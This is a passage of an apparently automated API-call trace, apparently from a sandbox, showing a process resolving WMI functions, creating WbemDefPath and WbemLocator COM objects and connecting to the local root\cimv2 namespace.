lpProcName="QualifierSet_Delete") returned 0x642ffff2ae0 [0067.035] CoTaskMemFree (pv=0x1b7b04b0) [0067.036] CoTaskMemAlloc (cb=0x17) returned 0x1b7b04b0 [0067.036] GetProcAddress (hModule=0x642ffff0000, lpProcName="QualifierSet_GetNames") returned 0x642ffff2af0 [0067.036] CoTaskMemFree (pv=0x1b7b04b0) [0067.037] CoTaskMemAlloc (cb=0x1f) returned 0x1b7b9f40 [0067.038] GetProcAddress (hModule=0x642ffff0000, lpProcName="QualifierSet_BeginEnumeration") returned 0x642ffff2b10 [0067.038] CoTaskMemFree (pv=0x1b7b9f40) [0067.038] CoTaskMemAlloc (cb=0x13) returned 0x1b7b04b0 [0067.039] GetProcAddress (hModule=0x642ffff0000, lpProcName="QualifierSet_Next") returned 0x642ffff2b20 [0067.039] CoTaskMemFree (pv=0x1b7b04b0) [0067.041] CoTaskMemAlloc (cb=0x1d) returned 0x1b7ba0f0 [0067.041] GetProcAddress (hModule=0x642ffff0000, lpProcName="QualifierSet_EndEnumeration") returned 0x642ffff2b70 [0067.041] CoTaskMemFree (pv=0x1b7ba0f0) [0067.041] CoTaskMemAlloc (cb=0x19) returned 0x1b7ba120 [0067.041] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetCurrentApartmentType") returned 0x642ffff2a50 [0067.041] CoTaskMemFree (pv=0x1b7ba120) [0067.042] CoTaskMemAlloc (cb=0x16) returned 0x1b7b04b0 [0067.042] GetProcAddress (hModule=0x642ffff0000, lpProcName="GetDemultiplexedStub") returned 0x642ffff2060 [0067.042] CoTaskMemFree (pv=0x1b7b04b0) [0067.044] CoTaskMemAlloc (cb=0x17) returned 0x1b7b04b0 [0067.044] GetProcAddress (hModule=0x642ffff0000, lpProcName="CreateInstanceEnumWmi") returned 0x642ffff1760 [0067.044] CoTaskMemFree (pv=0x1b7b04b0) [0067.087] CoTaskMemAlloc (cb=0x14) returned 0x1b7b04b0 [0067.087] GetProcAddress (hModule=0x642ffff0000, lpProcName="CreateClassEnumWmi") returned 0x642ffff18c0 [0067.087] CoTaskMemFree (pv=0x1b7b04b0) [0067.155] CoTaskMemAlloc (cb=0xe) returned 0x1b7b04b0 [0067.156] GetProcAddress (hModule=0x642ffff0000, lpProcName="ExecQueryWmi") returned 0x642ffff1a20 [0067.156] CoTaskMemFree (pv=0x1b7b04b0) [0067.188] CoTaskMemAlloc (cb=0x1a) returned 0x1b7ba360 [0067.188] GetProcAddress (hModule=0x642ffff0000, lpProcName="ExecNotificationQueryWmi") returned 0x642ffff1b90 [0067.188] CoTaskMemFree (pv=0x1b7ba360) [0067.255] CoTaskMemAlloc (cb=0x10) returned 0x1b7b04b0 [0067.256] GetProcAddress (hModule=0x642ffff0000, lpProcName="PutInstanceWmi") returned 0x642ffff1d00 [0067.256] CoTaskMemFree (pv=0x1b7b04b0) [0067.285] CoTaskMemAlloc (cb=0xd) returned 0x1b7b04b0 [0067.285] GetProcAddress (hModule=0x642ffff0000, lpProcName="PutClassWmi") returned 0x642ffff1e00 [0067.285] CoTaskMemFree (pv=0x1b7b04b0) [0067.300] CoTaskMemAlloc (cb=0x1a) returned 0x1b7b9fa0 [0067.300] GetProcAddress (hModule=0x642ffff0000, lpProcName="CloneEnumWbemClassObject") returned 0x642ffff1f00 [0067.300] CoTaskMemFree (pv=0x1b7b9fa0) [0067.310] CoTaskMemAlloc (cb=0x12) returned 0x1b7b04b0 [0067.311] GetProcAddress (hModule=0x642ffff0000, lpProcName="ConnectServerWmi") returned 0x642ffff34c0 [0067.311] CoTaskMemFree (pv=0x1b7b04b0) [0067.326] IComThreadingInfo:GetCurrentApartmentType (in: This=0xc03c8, pAptType=0x1c7fdba0 | out: pAptType=0x1c7fdba0*=1) returned 0x0 [0067.327] IUnknown:QueryInterface (in: This=0xc03c8, riid=0x5344b20*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1c7fdca8 | out: ppvObject=0x1c7fdca8*=0x0) returned 0x80004002 [0067.328] IUnknown:Release (This=0xc03c8) returned 0x0 [0067.351] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x1c7fd3a0 | out: lpiid=0x1c7fd3a0) returned 0x0 [0067.351] CoGetClassObject (in: rclsid=0x1b7a9928*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef2f0d250*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7fd210 | out: ppv=0x1c7fd210*=0x1ca41370) returned 0x0 [0067.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41370, riid=0x7fef2f0d2d0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7fcf20 | out: ppvObject=0x1c7fcf20*=0x0) returned 0x80004002 [0067.853] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1ca41370, pUnkOuter=0x0, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcf08 | out: ppvObject=0x1c7fcf08*=0x1ca41390) returned 0x0 [0067.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41390, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fce10 | out: ppvObject=0x1c7fce10*=0x1ca41390) returned 0x0 [0067.855] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41390, riid=0x7fef2f0d850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7fce90 | out: ppvObject=0x1c7fce90*=0x0) returned 0x80004002 [0067.855] WbemDefPath:IUnknown:AddRef (This=0x1ca41390) returned 0x3 [0067.856] CoGetContextToken (in: pToken=0x1c7fcae0 | out: pToken=0x1c7fcae0) returned 0x0 [0067.856] CoGetObjectContext (in: riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1847e8 | out: ppv=0x1847e8*=0xc03b0) returned 0x0 [0067.856] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41390, riid=0x7fef2f0d2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcaa0 | out: ppvObject=0x1c7fcaa0*=0x1b7b0510) returned 0x0 [0067.856] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b7b0510, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7fcad0 | out: pCid=0x1c7fcad0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.857] WbemDefPath:IUnknown:Release (This=0x1b7b0510) returned 0x3 [0067.858] CoGetContextToken (in: pToken=0x1c7fcab0 | out: pToken=0x1c7fcab0) returned 0x0 [0067.858] WbemDefPath:IUnknown:AddRef (This=0x1ca41390) returned 0x4 [0067.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41390, riid=0x7fef2f0d280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fcbc8 | out: ppvObject=0x1c7fcbc8*=0x0) returned 0x80004002 [0067.858] WbemDefPath:IUnknown:Release (This=0x1ca41390) returned 0x3 [0067.859] WbemDefPath:IUnknown:Release (This=0x1ca41390) returned 0x2 [0067.859] WbemDefPath:IUnknown:Release (This=0x1ca41370) returned 0x0 [0067.859] WbemDefPath:IUnknown:Release (This=0x1ca41390) returned 0x1 [0067.860] CoGetContextToken (in: pToken=0x1c7fd7e0 | out: pToken=0x1c7fd7e0) returned 0x0 [0067.860] CoGetContextToken (in: pToken=0x1c7fd720 | out: pToken=0x1c7fd720) returned 0x0 [0067.860] WbemDefPath:IUnknown:AddRef (This=0x1ca41390) returned 0x2 [0067.860] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41390, riid=0x1c7fd860*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1c7fd840 | out: ppvObject=0x1c7fd840*=0x1ca41390) returned 0x0 [0067.860] WbemDefPath:IUnknown:Release (This=0x1ca41390) returned 0x2 [0067.860] WbemDefPath:IUnknown:Release (This=0x1ca41390) returned 0x1 [0067.861] CoGetObjectContext (in: riid=0x1c7fcb08*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7fcb00 | out: ppv=0x1c7fcb00*=0xc03c8) returned 0x0 [0067.861] IComThreadingInfo:GetCurrentApartmentType (in: This=0xc03c8, pAptType=0x1c7fcb20 | out: pAptType=0x1c7fcb20*=1) returned 0x0 [0067.861] IUnknown:QueryInterface (in: This=0xc03c8, riid=0x5344b20*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1c7fcc28 | out: ppvObject=0x1c7fcc28*=0x0) returned 0x80004002 [0067.861] IUnknown:Release (This=0xc03c8) returned 0x1 [0067.861] CoGetClassObject (in: rclsid=0x1b7a9928*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef2f0d250*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7fc190 | out: ppv=0x1c7fc190*=0x1ca41370) returned 0x0 [0067.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41370, riid=0x7fef2f0d2d0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7fbea0 | out: ppvObject=0x1c7fbea0*=0x0) returned 0x80004002 [0067.862] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1ca41370, pUnkOuter=0x0, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fbe88 | out: ppvObject=0x1c7fbe88*=0x1ca41490) returned 0x0 [0067.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41490, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fbd90 | out: ppvObject=0x1c7fbd90*=0x1ca41490) returned 0x0 [0067.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41490, riid=0x7fef2f0d850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7fbe10 | out: ppvObject=0x1c7fbe10*=0x0) returned 0x80004002 [0067.862] WbemDefPath:IUnknown:AddRef (This=0x1ca41490) returned 0x3 [0067.862] CoGetContextToken (in: pToken=0x1c7fba60 | out: pToken=0x1c7fba60) returned 0x0 [0067.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41490, riid=0x7fef2f0d2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fba20 | out: ppvObject=0x1c7fba20*=0x1b7b0550) returned 0x0 [0067.862] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b7b0550, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7fba50 | out: pCid=0x1c7fba50*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.862] WbemDefPath:IUnknown:Release (This=0x1b7b0550) returned 0x3 [0067.863] CoGetContextToken (in: pToken=0x1c7fba30 | out: pToken=0x1c7fba30) returned 0x0 [0067.863] WbemDefPath:IUnknown:AddRef (This=0x1ca41490) returned 0x4 [0067.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41490, riid=0x7fef2f0d280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fbb48 | out: ppvObject=0x1c7fbb48*=0x0) returned 0x80004002 [0067.863] WbemDefPath:IUnknown:Release (This=0x1ca41490) returned 0x3 [0067.863] WbemDefPath:IUnknown:Release (This=0x1ca41490) returned 0x2 [0067.863] WbemDefPath:IUnknown:Release (This=0x1ca41370) returned 0x0 [0067.863] WbemDefPath:IUnknown:Release (This=0x1ca41490) returned 0x1 [0067.863] CoGetContextToken (in: pToken=0x1c7fc760 | out: pToken=0x1c7fc760) returned 0x0 [0067.863] CoGetContextToken (in: pToken=0x1c7fc6a0 | out: pToken=0x1c7fc6a0) returned 0x0 [0067.863] WbemDefPath:IUnknown:AddRef (This=0x1ca41490) returned 0x2 [0067.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41490, riid=0x1c7fc7e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1c7fc7c0 | out: ppvObject=0x1c7fc7c0*=0x1ca41490) returned 0x0 [0067.864] WbemDefPath:IUnknown:Release (This=0x1ca41490) returned 0x2 [0067.864] WbemDefPath:IUnknown:Release (This=0x1ca41490) returned 0x1 [0067.866] CoGetContextToken (in: pToken=0x1c7fc8e0 | out: pToken=0x1c7fc8e0) returned 0x0 [0067.867] CoGetContextToken (in: pToken=0x1c7fc820 | out: pToken=0x1c7fc820) returned 0x0 [0067.867] WbemDefPath:IUnknown:AddRef (This=0x1ca41490) returned 0x2 [0067.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41490, riid=0x1c7fc960*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1c7fc940 | out: ppvObject=0x1c7fc940*=0x1ca41490) returned 0x0 [0067.867] WbemDefPath:IUnknown:Release (This=0x1ca41490) returned 0x2 [0067.867] WbemDefPath:IUnknown:AddRef (This=0x1ca41490) returned 0x3 [0067.867] WbemDefPath:IWbemPath:SetText (This=0x1ca41490, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0067.867] WbemDefPath:IUnknown:Release (This=0x1ca41490) returned 0x2 [0067.867] CoGetContextToken (in: pToken=0x1c7fd960 | out: pToken=0x1c7fd960) returned 0x0 [0067.867] CoGetContextToken (in: pToken=0x1c7fd8a0 | out: pToken=0x1c7fd8a0) returned 0x0 [0067.867] WbemDefPath:IUnknown:AddRef (This=0x1ca41390) returned 0x2 [0067.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1ca41390, riid=0x1c7fd9e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1c7fd9c0 | out: ppvObject=0x1c7fd9c0*=0x1ca41390) returned 0x0 [0067.868] WbemDefPath:IUnknown:Release (This=0x1ca41390) returned 0x2 [0067.868] WbemDefPath:IUnknown:AddRef (This=0x1ca41390) returned 0x3 [0067.868] WbemDefPath:IWbemPath:SetText (This=0x1ca41390, uMode=0x4, pszPath="\\\\localhost\\root\\cimv2") returned 0x0 [0067.868] WbemDefPath:IUnknown:Release (This=0x1ca41390) returned 0x2 [0067.868] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fdc70 | out: puCount=0x1c7fdc70*=0x2) returned 0x0 [0067.869] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fdc70*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fdc70*=0x17, pszText=0x0) returned 0x0 [0067.869] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fdc70*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fdc70*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.870] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fdc20 | out: puCount=0x1c7fdc20*=0x2) returned 0x0 [0067.870] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fdc20*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fdc20*=0x17, pszText=0x0) returned 0x0 [0067.870] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=4, puBuffLength=0x1c7fdc20*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fdc20*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.874] CoGetObjectContext (in: riid=0x1c7fdb58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7fdb50 | out: ppv=0x1c7fdb50*=0xc03c8) returned 0x0 [0067.874] IComThreadingInfo:GetCurrentApartmentType (in: This=0xc03c8, pAptType=0x1c7fdb70 | out: pAptType=0x1c7fdb70*=1) returned 0x0 [0067.874] IUnknown:QueryInterface (in: This=0xc03c8, riid=0x5344b20*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1c7fdc78 | out: ppvObject=0x1c7fdc78*=0x0) returned 0x80004002 [0067.874] IUnknown:Release (This=0xc03c8) returned 0x1 [0067.874] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1c7fd990 | out: lpiid=0x1c7fd990) returned 0x0 [0067.875] CoGetClassObject (in: rclsid=0x1b7a9ca8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef2f0d250*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c7fd800 | out: ppv=0x1c7fd800*=0x1ca417d0) returned 0x0 [0067.922] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca417d0, riid=0x7fef2f0d2d0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7fd510 | out: ppvObject=0x1c7fd510*=0x0) returned 0x80004002 [0067.922] WbemLocator:IClassFactory:CreateInstance (in: This=0x1ca417d0, pUnkOuter=0x0, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd4f8 | out: ppvObject=0x1c7fd4f8*=0x1ca516b0) returned 0x0 [0067.922] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca516b0, riid=0x7fef2f0d260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd400 | out: ppvObject=0x1c7fd400*=0x1ca516b0) returned 0x0 [0067.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca516b0, riid=0x7fef2f0d850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7fd480 | out: ppvObject=0x1c7fd480*=0x0) returned 0x80004002 [0067.923] WbemLocator:IUnknown:AddRef (This=0x1ca516b0) returned 0x3 [0067.923] CoGetContextToken (in: pToken=0x1c7fd0d0 | out: pToken=0x1c7fd0d0) returned 0x0 [0067.923] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca516b0, riid=0x7fef2f0d2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd090 | out: ppvObject=0x1c7fd090*=0x0) returned 0x80004002 [0067.923] CoGetContextToken (in: pToken=0x1c7fd0a0 | out: pToken=0x1c7fd0a0) returned 0x0 [0067.923] WbemLocator:IUnknown:AddRef (This=0x1ca516b0) returned 0x4 [0067.924] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca516b0, riid=0x7fef2f0d280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd1b8 | out: ppvObject=0x1c7fd1b8*=0x0) returned 0x80004002 [0067.924] WbemLocator:IUnknown:Release (This=0x1ca516b0) returned 0x3 [0067.924] WbemLocator:IUnknown:Release (This=0x1ca516b0) returned 0x2 [0067.924] WbemLocator:IUnknown:Release (This=0x1ca417d0) returned 0x0 [0067.924] WbemLocator:IUnknown:Release (This=0x1ca516b0) returned 0x1 [0067.925] CoGetContextToken (in: pToken=0x1c7fd6c0 | out: pToken=0x1c7fd6c0) returned 0x0 [0067.925] CoGetContextToken (in: pToken=0x1c7fd600 | out: pToken=0x1c7fd600) returned 0x0 [0067.925] WbemLocator:IUnknown:AddRef (This=0x1ca516b0) returned 0x2 [0067.925] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca516b0, riid=0x1c7fd740*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1c7fd720 | out: ppvObject=0x1c7fd720*=0x1ca516b0) returned 0x0 [0067.926] WbemLocator:IUnknown:Release (This=0x1ca516b0) returned 0x2 [0067.926] WbemLocator:IUnknown:Release (This=0x1ca516b0) returned 0x1 [0067.926] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1ca41390, puCount=0x1c7fdb20 | out: puCount=0x1c7fdb20*=0x2) returned 0x0 [0067.926] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=8, puBuffLength=0x1c7fdb20*=0x0, pszText=0x0 | out: puBuffLength=0x1c7fdb20*=0x17, pszText=0x0) returned 0x0 [0067.926] WbemDefPath:IWbemPath:GetText (in: This=0x1ca41390, lFlags=8, puBuffLength=0x1c7fdb20*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x1c7fdb20*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.931] CoCreateInstance (in: rclsid=0x642ffff15a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x642ffff14d8*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1c7fd810 | out: ppv=0x1c7fd810*=0x1ca51720) returned 0x0 [0067.931] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1ca51720, strNetworkResource="\\\\localhost\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1c7fdaa0 | out: ppNamespace=0x1c7fdaa0*=0x1ca544f8) returned 0x0 [0080.544] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca544f8, riid=0x642ffff1468*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd688 | out: ppvObject=0x1c7fd688*=0x19eb00) returned 0x0 [0080.545] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x19eb00, pProxy=0x1ca544f8, pAuthnSvc=0x1c7fd680, pAuthzSvc=0x1c7fd67c, pServerPrincName=0x1c7fd6a8, pAuthnLevel=0x1c7fd678, pImpLevel=0x1c7fd694, pAuthInfo=0x1c7fd6b8, pCapabilites=0x1c7fd690 | out: pAuthnSvc=0x1c7fd680*=0xa, pAuthzSvc=0x1c7fd67c*=0x0, pServerPrincName=0x1c7fd6a8, pAuthnLevel=0x1c7fd678*=0x6, pImpLevel=0x1c7fd694*=0x2, pAuthInfo=0x1c7fd6b8, pCapabilites=0x1c7fd690*=0x1) returned 0x0 [0080.545] WbemLocator:IUnknown:Release (This=0x19eb00) returned 0x1 [0080.545] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca544f8, riid=0x642ffff1458*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd628 | out: ppvObject=0x1c7fd628*=0x19eb40) returned 0x0 [0080.545] WbemLocator:IUnknown:QueryInterface (in: This=0x1ca544f8, riid=0x642ffff1468*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7fd5b8 | out: ppvObject=0x1c7fd5b8*=0x19eb00) returned 0x0 [0080.545] WbemLocator:IClientSecurity:SetBlanket (This=0x19eb00, pProxy=0x1ca544f8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0080.545] WbemLocator:IUnknown:Release (This=0x19eb00) returned 0x2 [0080.545] WbemLocator:IUnknown:Release (This=0x19eb40) returned 0x1 [0080.545] CoTaskMemFree (pv=0x1b7bacc0) [0080.546] 